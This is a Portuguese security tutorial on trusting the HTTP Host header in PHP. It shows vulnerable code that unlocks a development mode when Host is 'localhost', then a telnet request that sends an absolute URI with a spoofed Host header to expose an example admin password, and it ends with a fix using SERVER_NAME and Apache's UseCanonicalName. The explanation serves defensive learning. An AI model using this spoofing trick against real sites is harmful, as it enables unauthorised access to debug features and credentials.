A especificação da versão 1.1 do protocolo HTTP descreve um cabeçalho chamado Host, este cabeçalho contém o nome de host do site que o usuário deseja acessar. O cabeçalho serve para que o servidor web possa identificar qual recurso o usuário está requisitando quando o servidor atende múltiplos nomes de host (sites).

Apesar de exigir a presença do cabeçalho, a RFC do protocolo, no item 5.2, autoriza que o mesmo seja ignorado caso o cliente HTTP faça a requisição utilizando uma URI absoluta. Abaixo você pode ver um exemplo de requisição com URI relativa e outro com URI absoluta, respectivamente:

GET /index.php HTTP/1.1
Host: exemplo.com.br


GET http://exemplo.com.br/index.php HTTP/1.1
Host: exemplo.com.br

Ignorar o valor Host não representa um problema de segurança, exceto quando o programador assume que ele sempre representa o servidor atual. Infelizmente isso acontece bastante, muitos colocam códigos como o abaixo para diferenciar entre modo de produção e modo de desenvolvimento em seus programas:

if (preg_match('/^(localhost|127.0.0.1)(\:\d+)?/', $_SERVER['HTTP_HOST'])) {
	imprime_algo_comprometedor();
}

Para explorar a falha de segurança, é necessário que você crie uma requisição HTTP customizada que envia o host correto pela URI mas enviar localhost no cabeçalho Host. Podemos fazer isso usando telnet:

[higor@whiterice tmp]$ telnet exemplo.com.br 80
Trying 127.0.0.1...
Connected to exemplo.com.br
Escape character is '^]'.
GET http://exemplo.com.br/index.php HTTP/1.1
Host: localhost

HTTP/1.1 200 OK
Date: Sun, 27 Oct 2013 16:11:42 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

MODO DE DESENVOLVIMENTO. A SENHA DE admin É "123tr0c4r!"

Connection closed by foreign host.

E assim nós descobrimos a senha de admin.

Se você quer evitar este tipo de problema, você deve utilizar o nome do servidor ($_SERVER['SERVER_NAME']) em vez do valor de Host ($_SERVER['HTTP_HOST']). Porém ainda existe algo fazer se você utiliza o Apache para servir suas páginas, será necessário dizer ao Apache que você quer que a variavel de ambiente SERVER_NAME seja igual ao nome que você deu ao seu servidor (ServerName), pra isso você deve ativar a opção UseCanonicalName:

<VirtualHost *>
	ServerName exemplo.com.br
	UseCanonicalName on
</VirtualHost>

Se você utiliza PHP e/ou Apache, você pode ler mais sobre a solução e sobre o problema neste resposta do StackOverflow.